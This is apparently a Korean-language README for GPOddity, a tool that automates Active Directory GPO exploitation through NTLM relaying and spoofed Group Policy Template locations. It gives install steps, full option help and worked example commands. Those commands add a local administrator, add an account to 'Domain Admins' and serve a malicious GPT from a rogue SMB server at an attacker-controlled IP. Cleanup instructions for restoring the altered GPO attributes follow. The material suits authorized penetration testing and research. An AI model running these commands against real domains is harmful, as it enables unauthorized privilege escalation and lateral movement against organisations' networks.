
NTLM 릴레이를 통한 Active Directory GPO 익스플로잇을 자동화하여, 악성 GPO 템플릿 생성, 위치 스푸핑, 명령 실행을 통해 권한 상승 및 측면 이동을 가능하게 합니다.
GPOddity 프로젝트는 NTLM 릴레이(및 기타 방법)를 통해 GPO 공격 벡터를 자동화하는 것을 목표로 합니다.
공격에 대한 자세한 내용과 도구 사용 방법 데모는 다음 문서를 참조하세요: https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more
다음 명령어로 pipx를 통해 GPOddity를 설치할 수 있습니다:
$ python3 -m pipx install git+https://github.com/synacktiv/GPOddity
또는 저장소를 클론하고 의존성을 설치하여 수동으로 GPOddity를 설치할 수 있습니다:
$ git clone https://github.com/synacktiv/GPOddity
$ python3 -m pip install -r requirements.txt
$ python3 gpoddity.py --help
Usage: gpoddity.py [OPTIONS]
╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --help Show this message and exit. │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ General options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --domain TEXT The target domain [default: None] [required] │
│ * --gpo-id TEXT The GPO object GUID without enclosing brackets (for instance, '1328149E-EF37-4E07-AC9E-E35920AD2F59') [default: None] [required] │
│ * --username TEXT The username of the user having write permissions on the GPO AD object. This may be a machine account (for instance, 'SRV01$') [default: None] [required] │
│ --password TEXT The password of the user having write permissions on the GPO AD object [default: None] │
│ --hash TEXT The NTLM hash of the user having write permissions on the GPO AD object, with the format 'LM:NT' [default: None] │
│ --dc-ip TEXT [Optional] The IP of the domain controller if the domain name can not be resolved. [default: None] │
│ --ldaps [Optional] Use LDAPS on port 636 instead of LDAP │
│ --verbose [Optional] Enable verbose output │
│ --just-clean [Optional] Only perform cleaning action from the values specified in the file of the --clean-file flag. May be useful to clean up in case of incomplete │
│ exploitation or ungraceful exit │
│ --clean-file TEXT [Optional] The file from the 'cleaning/' folder containing the values to restore when using --just-clean flag. Relative path from GPOddity install folder, or │
│ absolute path │
│ [default: None] │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Malicious Group Policy Template generation options ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --command TEXT The command that should be executed through the malicious GPO [default: None] │
│ --powershell [Optional] Use powershell instead of cmd for command execution │
│ --gpo-type [user|computer] [Optional] The type of GPO that we are targeting. Can either be 'user' or 'computer' [default: computer] │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Group Policy Template location spoofing options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --rogue-smbserver-ip TEXT The IP address or DNS name of the server that will host the spoofed malicious GPO. If using the GPOddity smb server, this should be the IP address of │
│ the current host on the internal network (for instance, 192.168.58.101) │
│ [default: None] │
│ --rogue-smbserver-share TEXT The name of the share that will serve the spoofed malicious GPO (for instance, 'synacktiv'). If you are running the embedded SMB server, do NOT provide │
│ names including 'SYSVOL' or 'NETLOGON' (protected by UNC path hardening by default) │
│ [default: None] │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ SMB server options ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --machine-name TEXT [Optional] The name of a valid domain machine account, that will be used to perform Netlogon authentication (for instance, SRV01$). If │
│ omitted, will use the user specified with the --username option, and assume that it is a valid machine account │
│ [default: None] │
│ --machine-pass TEXT [Optional] The password of the machine account if specified with --machine-name [default: None] │
│ --machine-hash TEXT [Optional] The NTLM hash of the machine account if specified with --machine-name, with the format 'LM:NT' [default: None] │
│ --comment TEXT [Optional] Share's comment to display when asked for shares [default: None] │
│ --interface TEXT [Optional] The interface on which the GPOddity smb server should listen [default: 0.0.0.0] │
│ --port TEXT [Optional] The port on which the GPOddity smb server should listen [default: 445] │
│ --smb-mode [embedded|forwarded|none] [Optional] 'Embedded' SMB server will host an SMB server on this machine. 'Forwarded' will forward SMB traffic to a fake Domain Controller │
│ (requires a machine account associated with a DNS record pointing to the attacker machine. Generated GPT should be uploaded on the fake │
│ DC). 'None' will not host any SMB server (generated GPT should be uploaded on a writable SMB share in the domain) │
│ [default: embedded] │
│ --empty-gpo [Optional] By default, GPOddity will clone the target GPO and add a malicious immediate task. If this flag is specified, an empty GPO will │
│ be used instead of a clone of the legitimate one (can be useful for some edge cases in which immediate tasks will not integrate well with │
│ existing GPOs) │
│ --attacker-ip TEXT [Optional] The IP of the attacker machine in the internal network (required for smb-mode 'forwarded') │
│ --forwarded-ip TEXT [Optional] The IP of the fake DC to which SMB traffic will be forwarded (required for smb-mode 'forwarded') │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
다음은 위에 링크된 문서에서 가져온 몇 가지 예제 명령어입니다.
컴퓨터 GPO를 악용하여 로컬 관리자를 추가합니다. SMB 모드는 'embedded': GPOddity가 내장 SMB 서버에서 GPT를 호스팅합니다.
$ python3 gpoddity.py --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --domain 'corp.com' --username 'GPODDITY$' \
--password '[...]' --command 'net user synacktiv_gpoddity Password123! /add && net localgroup administrators synacktiv_gpoddity /add' \
--rogue-smbserver-ip '192.168.58.101' --rogue-smbserver-share 'synacktiv'
사용자 GPO를 악용하여 로컬 관리자를 추가합니다. SMB 모드는 'none': GPOddity가 악성 GPT를 생성하고, 사용자가 이를 쓰기 가능한 도메인 공유에 업로드해야 합니다.
$ python3 gpoddity.py --gpo-id '7B36419B-B566-46FA-A7B7-58CA9030A604' --gpo-type 'user' --smb-mode 'none' --domain 'corp.com' --username 'GPODDITY$' \
--password '[...]' --command 'net user user_gpo Password123! /add /domain && net group "Domain Admins" user_gpo /ADD /DOMAIN' \
--rogue-smbserver-ip '192.168.58.102' --rogue-smbserver-share 'synacktiv'
사용자 GPO를 악용하여 로컬 관리자를 추가합니다. SMB 모드는 'forwarded': GPOddity의 머신을 가리키는 DNS 레코드를 (머신 계정과 연결된) 추가해야 합니다. 가짜 DC의 IP 주소를 제공해야 하며, 해당 DC의 비밀번호는 머신 계정과 동기화되어 있고, 악성 GPT를 해당 가짜 DC에 업로드해야 합니다. 이 모드에 대한 자세한 내용은 제 Black Alps 2024 발표를 참조하세요 (곧 제공 예정).
$ python3 gpoddity.py --gpo-id 'B12968FB-EEEE-404A-A583-101A2E249BF9' --domain 'corp.com' --username 'lowpriv' \
--password '[...]' --command 'whoami > C:\poc_forwarded.txt' --gpo-type 'user' --rogue-smbserver-ip 'gpoddity.corp.com' \
--rogue-smbserver-share 'synacktiv' --smb-mode 'forwarded' --attacker-ip '192.168.123.16' --forwarded-ip '192.168.125.245'
GPOddity를 사용할 때의 이점 중 하나는 합법적인 GPT 파일을 변경하지 않고 GPO를 안전하게 악용할 수 있다는 점으로, 프로덕션 환경에서의 중단 위험을 최소화합니다. 그러나 GPOddity는 GPT 위치를 일시적으로 스푸핑하기 위해 GPC(Group Policy Container) 파일의 일부 속성을 수정해야 합니다. 따라서 프로덕션 환경이 정상 작동하도록 하려면 악용 후 이러한 변경 사항을 되돌리는 것이 필수적입니다.
기본적으로 문서에서 설명한 대로, GPOddity는 악용 종료 시 (사용자가 CTRL+C로 프로그램을 중단할 때) GPC에 수행된 모든 변경 사항을 자동으로 되돌립니다. 따라서 일반적인 조건에서는 정리를 위해 별도의 작업이 필요하지 않습니다.
그러나 어떤 이유로 CTRL+C를 통해 GPOddity를 정상 종료할 수 없는 경우(프로세스가 종료되거나 네트워크 연결이 끊긴 경우 등) '--just-clean' 플래그를 사용하여 독립적으로 정리 작업을 수행할 수 있습니다.
이 기능은 다음과 같이 작동합니다. GPOddity가 실행될 때마다 GPO의 초기 상태가 cleaning/[GPO ID]/[timestamp].txt 경로에 저장됩니다. 그런 다음 '--just-clean' 플래그를 통해 이 저장 파일에 포함된 모든 값을 복원할 수 있습니다. 예를 들어, ID가 '46993522-7D77-4B59-9B77-F82082DE9D81'인 GPO의 모든 속성을 2023년 10월 14일 08:08:44에 GPOddity를 실행하기 전의 값으로 복원하려면 다음 명령을 실행할 수 있습니다:
$ python3 gpoddity.py --just-clean --domain 'corp.com' --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --username 'GPODDITY$' --password '[...]' --clean-file cleaning/46993522-7D77-4B59-9B77-F82082DE9D81/2023_10_14-08_08_44.txt
